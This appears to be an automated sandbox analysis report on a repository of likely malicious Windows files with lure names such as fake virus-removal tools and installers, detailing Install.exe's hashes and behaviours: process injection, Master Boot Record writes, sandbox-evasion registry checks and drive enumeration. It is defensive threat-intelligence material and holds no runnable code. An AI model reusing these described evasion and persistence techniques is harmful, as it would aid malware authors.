Overview
overview
10Static
static
10zvgfd-main...iz.bat
windows10-2004-x64
1zvgfd-main...lt.exe
windows10-2004-x64
zvgfd-main/Client.bat
windows10-2004-x64
10zvgfd-main...lt.exe
windows10-2004-x64
zvgfd-main... .exe
windows10-2004-x64
10zvgfd-main...ol.exe
windows10-2004-x64
10zvgfd-main...ol.exe
windows10-2004-x64
10zvgfd-main...ve.bat
windows10-2004-x64
10zvgfd-main...ve.exe
windows10-2004-x64
10zvgfd-main...ke.bat
windows10-2004-x64
10zvgfd-main...V2.exe
windows10-2004-x64
10zvgfd-main...ll.exe
windows10-2004-x64
10zvgfd-main...up.exe
windows10-2004-x64
8zvgfd-main/Output.exe
windows10-2004-x64
10zvgfd-main/Part 1.bat
windows10-2004-x64
10zvgfd-main/Part 2.bat
windows10-2004-x64
1zvgfd-main...om.exe
windows10-2004-x64
1zvgfd-main...er.exe
windows10-2004-x64
10zvgfd-main/Server.exe
windows10-2004-x64
10zvgfd-main/Uni.exe
windows10-2004-x64
10zvgfd-main/Uni.exe
windows10-2004-x64
10zvgfd-main...ol.exe
windows10-2004-x64
10zvgfd-main...ol.exe
windows10-2004-x64
10zvgfd-main...nt.exe
windows10-2004-x64
10zvgfd-main...st.exe
windows10-2004-x64
10zvgfd-main/asjdfg.exe
windows10-2004-x64
10zvgfd-main...-3.dll
windows10-2004-x64
3zvgfd-main...h2.dll
windows10-2004-x64
3zvgfd-main...-3.dll
windows10-2004-x64
1zvgfd-main/main.exe
windows10-2004-x64
7zvgfd-main/ncat.exe
windows10-2004-x64
1zvgfd-main...ad.exe
windows10-2004-x64
10Analysis
-
max time kernel
150s -
max time network
157s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
15-07-2024 16:14
Static task
static1
Behavioral task
behavioral1
Sample
zvgfd-main/Are You Skibidy, The Quiz.bat
Resource
win10v2004-20240709-en
Behavioral task
behavioral2
Sample
zvgfd-main/Client-built.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral3
Sample
zvgfd-main/Client.bat
Resource
win10v2004-20240709-en
Behavioral task
behavioral4
Sample
zvgfd-main/Client_built.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral5
Sample
zvgfd-main/Empyrean Removal Tool .exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral6
Sample
zvgfd-main/Empyrean Removal Tool.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral7
Sample
zvgfd-main/Empyrean Removal Tool.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral8
Sample
zvgfd-main/Fanta.Live.bat
Resource
win10v2004-20240709-en
Behavioral task
behavioral9
Sample
zvgfd-main/Fanta.Live.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral10
Sample
zvgfd-main/Fanta_Is_Better_Than_Coke.bat
Resource
win10v2004-20240709-en
Behavioral task
behavioral11
Sample
zvgfd-main/Frozen Loader V2.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral12
Sample
zvgfd-main/Install.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral13
Sample
zvgfd-main/OperaGXSetup.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral14
Sample
zvgfd-main/Output.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral15
Sample
zvgfd-main/Part 1.bat
Resource
win10v2004-20240709-en
Behavioral task
behavioral16
Sample
zvgfd-main/Part 2.bat
Resource
win10v2004-20240709-en
Behavioral task
behavioral17
Sample
zvgfd-main/Phantom.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral18
Sample
zvgfd-main/PyMain Installer.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral19
Sample
zvgfd-main/Server.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral20
Sample
zvgfd-main/Uni.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral21
Sample
zvgfd-main/Uni.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral22
Sample
zvgfd-main/VIrus removal tool.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral23
Sample
zvgfd-main/Virus removal tool.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral24
Sample
zvgfd-main/XClient.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral25
Sample
zvgfd-main/XClientTest.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral26
Sample
zvgfd-main/asjdfg.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral27
Sample
zvgfd-main/libcrypto-3.dll
Resource
win10v2004-20240709-en
Behavioral task
behavioral28
Sample
zvgfd-main/libssh2.dll
Resource
win10v2004-20240709-en
Behavioral task
behavioral29
Sample
zvgfd-main/libssl-3.dll
Resource
win10v2004-20240709-en
Behavioral task
behavioral30
Sample
zvgfd-main/main.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral31
Sample
zvgfd-main/ncat.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral32
Sample
zvgfd-main/payload.exe
Resource
win10v2004-20240709-en
General
-
Target
zvgfd-main/Install.exe
-
Size
164KB
-
MD5
319a41dd1934848abc8a5df381540481
-
SHA1
24ad88753d62ae5e38c3b6caba45bef5c70f7699
-
SHA256
abde8270375bf984b9a8bf1c15ff77f9e33ad185c7305471e05feb80843ee5bc
-
SHA512
929ca873880db0706ab3d76d98acd343dafab2145fafa3aa05c273b3cf451aac16d1ce71776a9e1fde7a794f172d60dc1536876193bd510de8a259c3f43211cf
-
SSDEEP
3072:xQpsM8ulc/LGjoOYDqFPgdt3oJ4xbnaldp9pq1N1dIfnXSxmPRnSee9:xQpsMjlc/LGMAFet30Kbml41N1dINP4p
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 1320 created 608 1320 powershell.EXE 5 -
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\Q: svchost.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PHYSICALDRIVE0 wmiprvse.exe -
Drops file in System32 directory 19 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1320 set thread context of 3808 1320 powershell.EXE 86 -
Drops file in Windows directory 3 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TiWorker.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software mousocoreworker.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={35DCA2E5-9E1D-45D7-86CE-BD820468B91A}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00E88C52F7A" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018C00E88C52F7A = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000f200e80b7d745d40a705595617554c9200000000020000000000106600000001000020000000e38932f19b415fd890c04da4f05f6bbbcdaee4be8961bca87b5f21d33c0ddbd0000000000e8000000002000020000000f3a7a28cdfa8e2898323dbd8d14384e21974b8c4c3ca6c9a381350a9048399258000000052734fd783045efa5cf25d2adcbfb9fe7067d510aff34ba4455c4b9b676eafa0a2cf70b2b13473b693df2882b35181403f78c33ba0c91fc781b3d6dec7aa0b814f97662215e224f26abf1565d4bf5c68c0c621d9c131f1f367e3bf5d95a27d171567275aa6346fbe9118baad6dea35f3efa46a483d4d697334aac40da8d8875c40000000ede6c02b9c3bc2a1cbf131fa77bc0b82efd5825bc72375965ee2b1f67e9e138adadbd3af94f89253f3ba48656042aa23c31af26337909d5e134aa3a5fd109e56 mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1721060270" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000f200e80b7d745d40a705595617554c9200000000020000000000106600000001000020000000f0314e65eb739615c8d0557a0965856642b12b4b7f8f4540a7ab7c98b2c5f027000000000e8000000002000020000000d1f72e215d8059ad74025d6f9ec7ff9431187b946190e1cf8a56f88d3f3bf4eab00300001f6f4bf23ec786c5d095b262200198b59ee554b0caefb8d16c769dd048ce82ac1803ea94566499ff471e0b88fcf4f646bb1584f30c8e0bda9381812c6f447844cfe1f220b67690c3318a9a5714c5893e96fd0cebc42b46049b1112a36d0f8fb0793af0e287298a05f9f1fcfd6a4fa560e7074e28f06fba7bf5a1791d7ffc6940f5027649fefcaff0dc62ac31a40d49191f0a9c78f092fea6f6c9df56f01467794f01ef3c66e5e682d9a41f578539685a4e07a38d44d83ac7c5644549a3deda891ed22c2f452cf5739321ee32911ab217813bd29dfbab80aa9d3f8c48adf26f338c27e7b126312e89f284932dfe6b98a09f7e7dbf047cd6d04995b83dd9846d9e332e4480acf5a1e6bce972621fff6fda78ce7784453524a4ba2d10644ef738dc857214f17a7171807520ef909ecf3c88102ef9f231950d0e8f79cb432b2dfb9ce62dd64dacbe772ab15650941d4c91c4a0bd86988cb6fd586577bd9338e523fddb2f9fe9b5d0c13ae653c294705cf0145dec77b3cfa045b73de26d8381ca59ab7b5fb0ef9afdc178981152b2124bbf3f1b0842c634c05e8102600357e4280a0151b3b84f8795e137f7aff89f0a726d5c2d9bde46ab74b0d25923114d1b2471f2406b9b7a1325c86bf6a1376a334a9c04488f42ff7b0583533122f3ea8d619e15c5be3c5d23b137ac43f8fb59e39a93205c0a969ef1936b98ce3e1bc84285dd1e3fc57c7547e8e1747ffcb9e22c7fe94d828d1c76f6e242a6b199badfeeb8aea73a5d507741757634aa61f85ffe311142b34598bfd8938f8fe262bead40fc4cb81973966958f92bf2bc15f654f067d7bda66a4acba4042c3a377e96dd850ac56cfd374c6aa805a53a14aeeaa44d6ac881122118acfb9b05f58c66dc2b7e178c1021a620b3661b316acaf00f065471629af3902331caa56616c007d9352fbe9f0dc15a9dfbd51889198c2c8ea7293282ecdc3b01c45cd0cae62f0c57c5c11abcbd0f63cd137aaf96d08840786874e52beb48e8246e4aa374bd7f0a13b77d3f46afb0d8fd6651ede6b33892a09388315dd09e987465a0431e3af33a8bcc903c35701b88778858cdfabddef99d4cbde36d1d3ab9859ba45f51e8c287ee75673f893f98e1ff4bdcdc4543e22c33522850a7a2deaa1c64a0ce4e3511f13d800a79b76b94d77303b8f61d150800c2baf883eb7cdb1ad98f7448a310e68c733755f40ff3db5bd84b4768898595ea6f81944d4258d5e7917a793169f3ddc57382d7d99def30121ffd34a7b96db7cbe35b292c41acedc4f3aeca363d4ad5415077716a34b43d10cfe9c23b178f28da40f4ba53c32540000000b2c7f7d4f08fe623f1acd4d2b3e00546c11664bd1e193f7ac0dd8de83ca3256bf02b272259ea1a8dd2caa9aec023432a7249112a54a78ec219435289b212a365 mousocoreworker.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1320 powershell.EXE 1320 powershell.EXE 1320 powershell.EXE 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe 3808 dllhost.exe -
Suspicious behavior: LoadsDriver 64 IoCs
